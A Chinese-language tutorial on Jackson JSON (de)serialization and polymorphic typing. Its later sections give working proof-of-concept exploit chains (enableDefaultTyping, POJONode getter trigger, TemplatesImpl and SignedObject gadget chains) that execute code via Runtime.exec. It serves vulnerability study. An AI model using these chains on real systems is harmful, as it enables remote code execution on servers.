引用
深入浅出解析Jackson反序列化
前言
jackson相关基础知识这里就不赘述了,可参看引用
逻辑跟fastjson差不多
jackson简单使用
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.9.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.9.3</version> </dependency> </dependencies>
|
ObjectMapper
将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)
Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
class Person { private String name; private int age; public Person() { System.out.println("Person constructor"); } public String getName() { System.out.println("Person.getName()"); return name; } public void setName(String name) { System.out.println("Person.setName()"); this.name = name; } public int getAge() { System.out.println("Person.getAge()"); return age; } public void setAge(int age) { System.out.println("Person.setAge()"); this.age = age; } }
|
将json转换为对象
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Main { public static void main(String[] args) throws Exception{ String json = "{\"name\":\"John\", \"age\":30}"; ObjectMapper objectMapper = new ObjectMapper(); Person person = objectMapper.readValue(json, Person.class); System.out.println("Name: " + person.getName()); System.out.println("Age: " + person.getAge()); } }
|
将对象转换为json
writeValue():将对象序列化为 JSON 并写入文件、输出流或 Writer。
writeValueAsString():将对象序列化为 JSON 字符串。
writeValueAsBytes():将对象序列化为 JSON 字节数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Main { public static void main(String[] args) throws Exception{ ObjectMapper objectMapper = new ObjectMapper(); Person person = new Person(); person.setAge(21); person.setName("Sherlock"); String jsonstring = objectMapper.writeValueAsString(person); System.out.println(jsonstring); } }
|
JsonParser
Jackson JsonParser类是一个底层一些的JSON解析器
Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦
使用JsonParser需要先创建一个JsonFactory
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser;
public class Main { public static void main(String[] args) throws Exception{ String json = "{\"name\":\"John\", \"age\":30}"; JsonFactory jsonFactory = new JsonFactory(); JsonParser parser = jsonFactory.createParser(json); System.out.println(parser); } }
|
一旦创建了Jackson JsonParser,就可以使用它来解析JSON;JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌
可以使用JsonParser的nextToken()获得一个JsonToken。 可以使用此JsonToken实例检查给定的令牌
令牌类型由JsonToken类中的一组常量表示。 这些常量是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example;
import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken;
public class Main { public static void main(String[] args) throws Exception{ String json = "{\"name\":\"John\", \"age\":30}"; JsonFactory jsonFactory = new JsonFactory(); JsonParser parser = jsonFactory.createParser(json); while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken); } } }
|
1 2 3 4 5 6 7
| START_OBJECT FIELD_NAME VALUE_STRING FIELD_NAME VALUE_NUMBER_INT END_OBJECT null
|
指向的令牌是字符串字段值,则getValueAsString()返回当前令牌值作为字符串。 如果指向的令牌是整数字段值,则getValueAsInt()返回当前令牌值作为int值。 JsonParser具有更多类似的方法来获取不同类型的curren令牌值(例如boolean,short,long,float,double等)。
(下述例子中Prerson类的属性先改为public类型)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example;
import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken;
public class Main { public static void main(String[] args) throws Exception{ String json = "{\"name\":\"John\", \"age\":30}"; JsonFactory jsonFactory = new JsonFactory(); Person person = new Person(); JsonParser parser = jsonFactory.createParser(json); while(!parser.isClosed()) { JsonToken jsonToken = parser.nextToken(); if (JsonToken.FIELD_NAME.equals(jsonToken)) { String fieldName = parser.getCurrentName(); System.out.println(fieldName);
jsonToken = parser.nextToken();
if ("name".equals(fieldName)) { person.name = parser.getValueAsString();
} else if ("age".equals(fieldName)) { person.age = parser.getValueAsInt(); } }
System.out.println("person's name is " + person.name); System.out.println("person's age is " + person.age); } } }
|
JsonGenerator
用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON
使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example;
import com.fasterxml.jackson.core.*;
import java.io.File;
public class Main { public static void main(String[] args) throws Exception { JsonFactory jsonFactory = new JsonFactory(); Person person = new Person(); JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8); jsonGenerator.writeStartObject(); jsonGenerator.writeStringField("name", "Sherlock"); jsonGenerator.writeNumberField("age", 21); jsonGenerator.writeEndObject();
jsonGenerator.close(); } }
|
多态问题的解决
大家都知道Java的多态就是同一个接口使用不同的实例而执行不同的操作
在Jackson中 JacksonPolymorphicDeserialization可以解决这个问题 在反序列化某个类对象的过程中 如果类的成员不是具体类型 比如是Object 接口 或者 抽象类 那么可以在JSON字符串中 指定其类型 Jackson将生成具体类型的实例
具体来说就是 将具体的子类信息绑定在序列化的内容中 以便于后续反序列化的时候 直接得到目标子类对象 我们可以通过DefaultTyping 和 @JsonTypeInfo 注解来实现
DefaultTyping
DefaultTyping 是 Jackson 提供的一个枚举类,用于配置多态类型处理。它决定了在序列化和反序列化时,Jackson 如何处理对象的类型信息
Jackson提供一个enableDefaultTyping设置 包含四个值

下面简单分析下这四个值的作用
JAVA_LANG_OBJECT
当被序列化或反序列化的类里的属性被声明为一个Object类型时 会对该Object类型的属性进行序列化和反序列化 并明确规定类名
- 仅对
Object 类型的属性启用类型信息嵌入。
- 例如,如果一个字段的类型是
Object,Jackson 会在序列化时嵌入类型信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JSTest { public static void main(String[] args) throws Exception{ Person2 person2 = new Person2(); person2.age = 123; person2.name = "fakes0u1"; person2.object = new Hacker();
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String jsonstring = objectMapper.writeValueAsString(person2); System.out.println(jsonstring);
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } }
|
在设置了JAVA_LANG_OBJECT的时候会输出
1 2
| {"name":"fakes0u1","age":123,"object":["jackson.Hacker",{"skill":"moyu"}]} Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@f6c48ac
|
没设置的时候会输出
1 2
| {"name":"fakes0u1","age":123,"object":{"skill":"moyu"}} Person2.age=123,Person2.name=fakes0u1,{skill=moyu}
|
OBJECT_AND_NON_CONCRETE
对 Object 类型以及非具体类型(如抽象类、接口)启用类型信息嵌入
加上一个接口
1 2 3 4 5 6
| package jackson;
public interface Sex { public void setSex(int sex); public int getSex(); }
|
和实现接口的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package jackson;
public class MySex implements Sex{ int sex;
@Override public void setSex(int sex){ this.sex = sex; }
@Override public int getSex(){ return sex; } }
|
最后加上OBJECT_AND_NON_CONCRETE参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JSTest { public static void main(String[] args) throws Exception{ Person2 person2 = new Person2(); person2.age = 123; person2.name = "fakes0u1"; person2.object = new Hacker(); person2.sex = new MySex();
ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String jsonstring = objectMapper.writeValueAsString(person2); System.out.println(jsonstring);
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } }
{"name":"fakes0u1","age":123,"object":["jackson.Hacker",{"skill":"moyu"}],"sex":["jackson.MySex",{"sex":0}]} Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@239963d8,jackson.MySex@3abbfa04
|
可以看到接口也被成功的序列化和反序列化
NON_CONCRETE_AND_ARRAYS
- 对非具体类型(Non-Concrete Types)启用类型信息嵌入:
- 非具体类型包括抽象类(Abstract Classes)和接口(Interfaces)。
- 例如,如果一个字段的类型是
List(接口),Jackson 会在序列化时嵌入类型信息。
- 对数组类型(Arrays)启用类型信息嵌入:
- 数组类型包括基本类型数组(如
int[])和对象数组(如 String[])。
- 例如,如果一个字段的类型是
Object[],Jackson 会在序列化时嵌入类型信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JSTest { public static void main(String[] args) throws Exception{ Person2 person2 = new Person2(); person2.age = 123; person2.name = "fakes0u1"; Hacker[] hacker = new Hacker[2]; hacker[0] = new Hacker(); hacker[1] = new Hacker(); person2.object = hacker; person2.sex = new MySex();
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String jsonstring = objectMapper.writeValueAsString(person2); System.out.println(jsonstring);
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } } {"name":"fakes0u1","age":123,"object":["[Ljackson.Hacker;",[{"skill":"moyu"},{"skill":"moyu"}]],"sex":["jackson.MySex",{"sex":0}]} Person2.age=123,Person2.name=fakes0u1,[Ljackson.Hacker;@e45f292,jackson.MySex@5f2108b5
|
这里直接就是这种形式
1 2 3 4
| Hacker[] hackers = new Hacker[2]; // 创建长度为 2 的 Hacker 数组
hackers[0] = new Hacker("Alice"); // 为第一个元素分配一个 Hacker 对象 hackers[1] = new Hacker("Bob"); // 为第二个元素分配另一个 Hacker 对象
|
每个元素可以存储一个hacker对象的引用 这里的数组中的元素实际上是Hacker类的引用 并不是实际的对象 需要在使用之前通过实例化或赋值操作为数组元素分配实际的对象
NON_FINAL
对所有非 final 类型(即可以被子类化的类型)启用类型信息嵌入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package jackson;
public class Hacker { public String skill = "moyu"; }
class Person2{ public String name = null; public int age = 0; public Object object; public Sex sex; public Hacker hacker;
@Override public String toString(){ return String.format("Person2.age=%d,Person2.name=%s,%s,%s,%s",age,name,object == null ? "null" : object,sex == null ? "null" : sex,hacker == null ? "null" : hacker); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JSTest { public static void main(String[] args) throws Exception{ Person2 person2 = new Person2(); person2.age = 123; person2.name = "fakes0u1"; Hacker[] hacker = new Hacker[2]; hacker[0] = new Hacker(); hacker[1] = new Hacker(); person2.object = hacker; person2.sex = new MySex(); person2.hacker = new Hacker();
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String jsonstring = objectMapper.writeValueAsString(person2); System.out.println(jsonstring);
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } }
|
@JsonTypeInfo注解
@JsonTypeInfo注解是Jackson多态类型绑定的一种方式,支持下面5种类型的取值:
1 2 3 4 5
| @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
|
JsonTypeInfo.Id.NONE
用于指定在序列化和反序列化过程中不包含任何类型标识,不使用识别码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JSTest { public static void main(String[] args) throws Exception{ Person2 person2 = new Person2(); person2.age = 123; person2.name = "fakes0u1"; Hacker[] hacker = new Hacker[2]; hacker[0] = new Hacker(); hacker[1] = new Hacker(); person2.object = hacker;
ObjectMapper objectMapper = new ObjectMapper();
String jsonstring = objectMapper.writeValueAsString(person2); System.out.println(jsonstring);
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package jackson;
import com.fasterxml.jackson.annotation.JsonTypeId; import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Hacker { public String skill = "moyu"; }
class Person2{ public String name = null; public int age = 0; @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) public Object object;
@Override public String toString(){ return String.format("Person2.age=%d,Person2.name=%s,%s",age,name,object == null ? "null" : object); } }
|
输出
1 2
| {"name":"fakes0u1","age":123,"object":[{"skill":"moyu"},{"skill":"moyu"}]} Person2.age=123,Person2.name=fakes0u1,[{skill=moyu}, {skill=moyu}]
|
因为是不使用识别码 所以输出没有什么不一样
JsonTypeInfo.Id.CLASS
使用完全限定类名做识别
我们直接将person类中的注释修改为JsonTypeInfo.Id.CLASS 查看输出
1 2
| {"name":"fakes0u1","age":123,"object":{"@class":"jackson.Hacker","skill":"moyu"}} Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@5702b3b1
|
我们可以看到 在序列化和反序列化的信息中 均有具体类的信息 在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。
JsonTypeInfo.Id.MINIMAL_CLASS
当我们将object的注释修改为JsonTypeInfo.Id.MINIMAL_CLASS时
输出为
1 2
| {"name":"fakes0u1","age":123,"object":{"@c":"jackson.Hacker","skill":"moyu"}} Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@4b952a2d
|
看起来就是将上面的@class的形式给简写了
JsonTypeInfo.Id.NAME
将注释修改为JsonTypeInfo.Id.NAME后
序列化的输出变为
1
| {"name":"fakes0u1","age":123,"object":{"@type":"Hacker","skill":"moyu"}}
|
多出一个@type 这里并没有像上面的CLASS一样 给出具体包名和类名 同时在反序列化的时候还会报错 也就是说 这个注释并不适用于反序列化过程
JsonTypeInfo.Id.CUSTOM
自定义识别码,由@JsonTypeIdResolver对应,由用户来自定义 并不能直接使用
通过上面的测试 我们发现在使用JsonTypeInfo.Id.CLASS和JsonTypeInfo.Id.MINIMAL_CLASS修饰Object类型的属性时 会触发Jackson的反序列化
反序列化中类属性方法的调用
就是对jackson中多态的反序列化过程进行分析
使用DefaultTyping或者@JsonTypeInfo时都会调用相对应的setter方法
Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值
对其进行调试
跟进readValue方法,一直往下走

跟进deserialize方法


再跟进vanillaDeserialize方法

调用createUsingDefault函数 从而调用指定类的无参构造函数来生成类实例 跟进一下

跟进call方法

call函数中调用的方法很熟悉吧,生成实例,我们跟进去

调用了Person类的无参构造方法,从而完成了bean的实例化
在完成了类的实例化之后 就需要对类中的属性进行赋值 以键值对的形式进行匹配

以do while循环的形式对其中的属性进行赋值 跟进一下deserializeAndSet函数

检查属性类型随后跟进deserialize函数,这边属性是name所以跟进的是String类型的

先对其进行解析,获取name的内容

然后到 set处,进行setter的反射调用

后面对于age字段的分析也类似,就不赘述了
如果说有向上面例子说的那样类的有一个字段是Object类型,并且有调用objectMapper.enableDefaultTyping方法或者@JsonTypeInfo注解的情况,那么当走到Object对象,比如是sex对像,那么在deserializeAndSet函数中就是调用deserializeWithType方法

跟进去,这里返回null 于是继续会走到deserializeTypedFromObject方法,走进去


随后会对MySex对象的构造函数进行调用
随后会和上面一样对MySex之中的属性进行赋值 会调用到set方法
jackson反序列化漏洞
前提条件
满足以下三个条件之一 存在Jackson反序列化漏洞 也就是我们上面提到过的 会触发json中的类解析的注解或者函数
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
漏洞原理
当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章
我们可以以要进行反序列化的类的属性是否为Object类分为两种
无Object
我们从构造函数和setter方法入手
Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package org.example;
class Person { public String name; public int age; public Person() throws Exception{ System.out.println("Person constructor"); Runtime.getRuntime().exec("calc"); } public String getName() { System.out.println("Person.getName()"); return name; } public void setName(String name) throws Exception{ System.out.println("Person.setName()"); Runtime.getRuntime().exec(name); this.name = name; } public int getAge() { System.out.println("Person.getAge()"); return age; } public void setAge(int age) { System.out.println("Person.setAge()"); this.age = age; } }
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.File;
public class Main { public static void main(String[] args) throws Exception { String json = "{\"name\":\"calc\", \"age\":30}"; ObjectMapper objectMapper = new ObjectMapper(); Person person = objectMapper.readValue(json, Person.class); System.out.println(person); } }
|
测试后会成功弹出两个计算器
有Object
因为Object是任意类型的父类 因此扩大了我们的攻击面 我们只需要在目标服务端中存在的且构造函数或setter方法存在漏洞的类即可进行攻击利用 例如 存在一个恶意类Evil 在其构造函数或者是setter方法中存在任意代码执行漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
public class Evil { public String cmd;
public void setCmd(String cmd) { this.cmd = cmd; try { Runtime.getRuntime().exec("calc"); } catch (Exception e){ e.printStackTrace(); } } }
|
然后我们将其写到json中
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
class Person2{ public String name; public int age;
public Person2(){ System.out.println("person 构造函数"); } @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Object object; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Test { public static void main(String[] args) throws Exception{ ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); String jsonstring = "{\"age\":6,\"name\":\"fakes0u1\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}";
Person2 p2 = objectMapper.readValue(jsonstring,Person2.class); System.out.println(p2); } }
|
可以成功执行calc
注意
版本较低的看CVE-2017-7525和CVE-2017-17485;具体利用看引用,这里就不具体分析啦
通杀>=2.10
这里测试用的版本是2.13.3
利用Jackson中的PojoNode 他的toString是可以直接触发任意的getter的 触发条件如下
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example;
import java.io.Serializable;
public class User implements Serializable {
public User() { }
public Object getName() throws Exception { Runtime.getRuntime().exec("calc"); return "asdas"; }
public Object setName(String name) { System.out.println("setname"); return "sadsad"; } }
|
Poc
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
public class Test { public static void main(String[] args) { User user = new User(); POJONode jsonNodes = new POJONode(user); jsonNodes.toString(); } }
|
测试后成功弹计算器
TemplatesImpl链
我们的POJONode是继承ValueNode的 ValueNode是继承BaseJsonNode的
而在BaseJsonNode中存在

意味着 我们在反序列化的时候 会经过这个writeReplace方法 这个方法会对我们的序列化过程进行检查 从而阻止我们的序列化进程
我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field;
public class Test { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath(Person.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace"); originalMethod.setName("Replace"); ctClass.toClass();
CtClass clazz = pool.makeClass("sherlock"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", bytes); setFieldValue(templatesImpl, "_name", "fakes0u1"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); objectInputStream.readObject(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
调试
可以看到TemplateImpl链的大部分代码跟fastjson里面的相关链代码差不多,开始调试
通过BadAttributeValueExpException的readObject方法进入

跟进,到了BaseJsonNode的toString 调用InternalNodeMapper.nodeToString

调用ObjectWriter.writeValueAsString(Object value)

最终在serializeAsField中触发invoke 调用到TemplatesImpl.getOutputProperties
调用链如下(一张图截不下来):



SignObject链
在Templates被ban的情况下,打二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.security.*; import java.util.Base64;
public class Test { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath(Person.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace"); originalMethod.setName("Replace"); ctClass.toClass();
CtClass clazz = pool.makeClass("sherlock"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", bytes); setFieldValue(templatesImpl, "_name", "fakes0u1"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes2 = new POJONode(templatesImpl); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val2.setAccessible(true); val2.set(exp2,jsonNodes2); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine); POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); objectInputStream.readObject(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
调试
调试的时候前面都是一样的,但后面反射调用的是SignedObject.getObject()方法

SignedObject.getObject之中 这里还存在一个readObject()方法 可以将我们传进来的在进行一次反序列化从而达到绕过的目的 然后是又一遍TemplatesImpl链
跟进去的话最后会走到BadAttributeValueExpException.readObject()方法,进行第二次反序列化

接下来的步骤和上面的TemplatesImpl链是一样的了